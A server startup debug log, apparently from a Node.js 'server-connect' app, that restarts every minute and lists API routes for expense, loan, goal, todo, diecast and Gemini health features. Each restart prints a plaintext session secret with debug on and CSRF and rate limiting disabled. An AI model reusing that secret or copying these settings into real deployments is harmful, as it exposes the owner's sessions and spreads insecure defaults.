2026-07-23T15:34:52.902Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:34:52.903Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:34:52.903Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:34:52.904Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:34:52.906Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:34:52.907Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:34:52.907Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:34:52.907Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:34:52.908Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:34:52.908Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:34:52.908Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:34:52.909Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:34:52.909Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:34:52.909Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:34:52.909Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:34:52.910Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:34:52.910Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:34:52.910Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:34:52.910Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:34:52.910Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:34:52.911Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:34:52.911Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:34:52.911Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:34:52.911Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:34:52.911Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:34:52.912Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:34:52.912Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:35:52.739Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:35:52.924Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:35:53.011Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:35:53.011Z server-connect:secure CSRF Protection initialized
2026-07-23T15:35:53.013Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:35:53.014Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:35:53.014Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:35:53.015Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:35:53.015Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:35:53.016Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:35:53.018Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:35:53.019Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:35:53.019Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:35:53.020Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:35:53.020Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:35:53.020Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:35:53.021Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:35:53.021Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:35:53.022Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:35:53.022Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:35:53.025Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:35:53.025Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:35:53.026Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:35:53.026Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:35:53.026Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:35:53.027Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:35:53.027Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:35:53.027Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:35:53.028Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:35:53.028Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:35:53.028Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:35:53.028Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:35:53.029Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:35:53.029Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:35:53.029Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:35:53.029Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:35:53.029Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:35:53.030Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:35:53.030Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:35:53.030Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:35:53.030Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:35:53.030Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:36:53.607Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:36:53.788Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:36:53.863Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:36:53.864Z server-connect:secure CSRF Protection initialized
2026-07-23T15:36:53.865Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:36:53.866Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:36:53.866Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:36:53.867Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:36:53.867Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:36:53.868Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:36:53.877Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:36:53.878Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:36:53.879Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:36:53.879Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:36:53.880Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:36:53.880Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:36:53.880Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:36:53.881Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:36:53.881Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:36:53.884Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:36:53.885Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:36:53.885Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:36:53.885Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:36:53.886Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:36:53.886Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:36:53.886Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:36:53.887Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:36:53.887Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:36:53.887Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:36:53.887Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:36:53.888Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:36:53.888Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:36:53.888Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:36:53.888Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:36:53.889Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:36:53.890Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:36:53.890Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:37:54.646Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:37:54.820Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:37:54.948Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:37:54.949Z server-connect:secure CSRF Protection initialized
2026-07-23T15:37:54.951Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:37:54.951Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:37:54.951Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:37:54.952Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:37:54.952Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:37:54.953Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:37:54.955Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:37:54.956Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:37:54.957Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:37:54.957Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:37:54.957Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:37:54.958Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:37:54.958Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:37:54.959Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:37:54.959Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:37:54.960Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:37:54.976Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:37:54.980Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:37:54.980Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:37:54.980Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:37:54.981Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:37:54.981Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:37:54.982Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:37:54.982Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:37:54.982Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:37:54.982Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:37:54.983Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:37:54.983Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:37:54.983Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:37:54.984Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:37:54.984Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:37:54.984Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:37:54.985Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:37:54.985Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:37:54.985Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:37:54.985Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:37:54.985Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:37:54.986Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:38:55.157Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:38:55.334Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:38:55.429Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:38:55.429Z server-connect:secure CSRF Protection initialized
2026-07-23T15:38:55.431Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:38:55.431Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:38:55.432Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:38:55.432Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:38:55.433Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:38:55.433Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:38:55.436Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:38:55.436Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:38:55.437Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:38:55.437Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:38:55.438Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:38:55.438Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:38:55.438Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:38:55.439Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:38:55.439Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:38:55.442Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:38:55.442Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:38:55.443Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:38:55.443Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:38:55.443Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:38:55.444Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:38:55.444Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:38:55.444Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:38:55.445Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:38:55.445Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:38:55.445Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:38:55.445Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:38:55.445Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:38:55.446Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:38:55.446Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:38:55.446Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:38:55.446Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:38:55.447Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:38:55.447Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:38:55.447Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:38:55.447Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:38:55.448Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:38:55.448Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:39:55.632Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:39:55.812Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:39:55.897Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:39:55.898Z server-connect:secure CSRF Protection initialized
2026-07-23T15:39:55.900Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:39:55.900Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:39:55.900Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:39:55.901Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:39:55.901Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:39:55.902Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:39:55.904Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:39:55.905Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:39:55.906Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:39:55.906Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:39:55.907Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:39:55.907Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:39:55.907Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:39:55.908Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:39:55.908Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:39:55.911Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:39:55.911Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:39:55.912Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:39:55.912Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:39:55.912Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:39:55.913Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:39:55.913Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:39:55.913Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:39:55.913Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:39:55.914Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:39:55.914Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:39:55.914Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:39:55.914Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:39:55.915Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:39:55.915Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:39:55.915Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:39:55.915Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:39:55.915Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:39:55.916Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:39:55.916Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
2026-07-23T15:39:55.916Z server-connect:setup:routes Api route /api/todo/list_active(.json)? created
2026-07-23T15:39:55.916Z server-connect:setup:routes Api route /api/todo/list_someday(.json)? created
2026-07-23T15:39:55.916Z server-connect:setup:routes Api route /api/todo/mark_complete(.json)? created
2026-07-23T15:40:56.111Z server-connect:setup:config {
  port: 3001,
  debug: true,
  secret: '4lxi5FVQCKIgnFg',
  tmpFolder: '/home/tocyxovu/ems/tmp',
  abortOnDisconnect: false,
  createApiRoutes: true,
  compression: true,
  redis: false,
  cron: false,
  static: { index: false },
  session: {
    name: 'your_r_git.sid',
    resave: false,
    saveUninitialized: false,
    store: { '$type': 'database', ttl: 86400, knex: 'db' }
  },
  cors: { origin: false, methods: 'GET,POST', credentials: true },
  csrf: { enabled: false, exclude: 'GET,HEAD,OPTIONS' },
  rateLimit: {
    enabled: false,
    duration: 60,
    points: 100,
    private: { provider: '', duration: 60, points: 1000 }
  },
  globals: {},
  rateLimiter: {},
  mail: {},
  auth: {},
  oauth: {},
  db: {},
  s3: {},
  jwt: {},
  stripe: {},
  env: {}
}
2026-07-23T15:40:56.306Z server-connect:setup:session init session store { '$type': 'database', ttl: 86400, knex: 'db' }
2026-07-23T15:40:56.394Z server-connect:setup:upload Upload middleware configured.
2026-07-23T15:40:56.394Z server-connect:secure CSRF Protection initialized
2026-07-23T15:40:56.396Z server-connect:setup:routes Api route /api/access-control/check-login(.json)? created
2026-07-23T15:40:56.396Z server-connect:setup:routes Api route /api/access-control/login(.json)? created
2026-07-23T15:40:56.397Z server-connect:setup:routes Api route /api/access-control/logout(.json)? created
2026-07-23T15:40:56.397Z server-connect:setup:routes Api route /api/access-control/user-info(.json)? created
2026-07-23T15:40:56.398Z server-connect:setup:routes Api route /api/diecast/delete-image(.json)? created
2026-07-23T15:40:56.399Z server-connect:setup:routes Api route /api/diecast/get-filters(.json)? created
2026-07-23T15:40:56.400Z server-connect:setup:routes Api route /api/diecast/list(.json)? created
2026-07-23T15:40:56.401Z server-connect:setup:routes Api route /api/diecast/manage(.json)? created
2026-07-23T15:40:56.402Z server-connect:setup:routes Api route /api/emis/emi-list(.json)? created
2026-07-23T15:40:56.402Z server-connect:setup:routes Api route /api/emis/get-loans(.json)? created
2026-07-23T15:40:56.402Z server-connect:setup:routes Api route /api/emis/mark-emi-paid(.json)? created
2026-07-23T15:40:56.403Z server-connect:setup:routes Api route /api/expense/last-invoice(.json)? created
2026-07-23T15:40:56.403Z server-connect:setup:routes Api route /api/expense/list(.json)? created
2026-07-23T15:40:56.404Z server-connect:setup:routes Api route /api/expense/manage(.json)? created
2026-07-23T15:40:56.406Z server-connect:setup:routes Api route /api/gemini/calculate-calorie(.json)? created
2026-07-23T15:40:56.407Z server-connect:setup:routes Api route /api/gemini/calculate-health-summary(.json)? created
2026-07-23T15:40:56.407Z server-connect:setup:routes Api route /api/gemini/get-health-summary(.json)? created
2026-07-23T15:40:56.407Z server-connect:setup:routes Api route /api/goals/list(.json)? created
2026-07-23T15:40:56.408Z server-connect:setup:routes Api route /api/goals/manage(.json)? created
2026-07-23T15:40:56.408Z server-connect:setup:routes Api route /api/goals/recent_transaction(.json)? created
2026-07-23T15:40:56.408Z server-connect:setup:routes Api route /api/goals/transaction(.json)? created
2026-07-23T15:40:56.409Z server-connect:setup:routes Api route /api/masters/collections/collection-category(.json)? created
2026-07-23T15:40:56.409Z server-connect:setup:routes Api route /api/masters/collections/delete(.json)? created
2026-07-23T15:40:56.409Z server-connect:setup:routes Api route /api/masters/collections/get-collections(.json)? created
2026-07-23T15:40:56.409Z server-connect:setup:routes Api route /api/masters/collections/list(.json)? created
2026-07-23T15:40:56.410Z server-connect:setup:routes Api route /api/masters/collections/manage(.json)? created
2026-07-23T15:40:56.410Z server-connect:setup:routes Api route /api/masters/get-items(.json)? created
2026-07-23T15:40:56.410Z server-connect:setup:routes Api route /api/masters/get-tags(.json)? created
2026-07-23T15:40:56.410Z server-connect:setup:routes Api route /api/reports/diecast/by-manufacturer(.json)? created
2026-07-23T15:40:56.411Z server-connect:setup:routes Api route /api/reports/diecast/by-series(.json)? created
2026-07-23T15:40:56.411Z server-connect:setup:routes Api route /api/reports/diecast/by-vehicle-brand(.json)? created
2026-07-23T15:40:56.411Z server-connect:setup:routes Api route /api/test(.json)? created
2026-07-23T15:40:56.411Z server-connect:setup:routes Api route /api/todo/delete(.json)? created
2026-07-23T15:40:56.411Z server-connect:setup:routes Api route /api/todo/get_transactions(.json)? created
2026-07-23T15:40:56.412Z server-connect:setup:routes Api route /api/todo/insert(.json)? created
